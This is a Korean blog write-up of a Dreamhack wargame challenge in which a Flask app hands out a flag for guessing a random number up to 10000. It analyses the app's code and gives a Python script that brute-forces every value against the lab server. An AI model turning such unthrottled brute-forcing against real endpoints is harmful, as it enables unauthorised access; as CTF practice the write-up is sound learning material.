반응형
문제설명
Test Your Luck~🍀
숫자를 맞히고 플래그를 찾아주세요!
플래그 형식은 DH{...} 입니다.
코드분석
NUMBER_RANGE = (0, 10000)
TARGET_NUMBER = random.randint(*NUMBER_RANGE)
- 0~10000까지 랜덤한 숫자 TARGET_NUMBER 변수에 삽입
@app.route('/')
def index():
return render_template('index.html', range=NUMBER_RANGE)
- 메인화면엔 index.html 템플릿 렌더링해서 보여줌
@app.route('/guess', methods=['POST'])
def guess_number():
user_guess = int(request.form['guess'])
if user_guess == TARGET_NUMBER:
return jsonify({"result": "Correct", "flag": flag()})
else:
return jsonify({"result": "Incorrect", "flag": "Try again~!"})
- guess를 사용자로부터 입력받음 (정수만)
- 맞추면 플래그 아니면 Try again 출력
익스플로잇
걍 0 ~ 10000까지 브루트포싱 해보면 된다.
import requests
from tqdm import tqdm
URL = "http://host3.dreamhack.games:21041"
for i in tqdm(range(10001)):
response = requests.post(URL + "/guess", data={'guess':str(i)})
result = response.json()
if result["result"] == "Correct":
print(f"Number")
print(result)
break

반응형
'Dreamhack 워게임 > Lv.1' 카테고리의 다른 글
| Really Not SQL (0) | 2026.02.23 |
|---|---|
| ez_race (0) | 2026.02.20 |
| My Best Friend (0) | 2026.02.19 |
| Hangul - Revenge (0) | 2026.02.19 |
| Ctrl-C (0) | 2026.02.19 |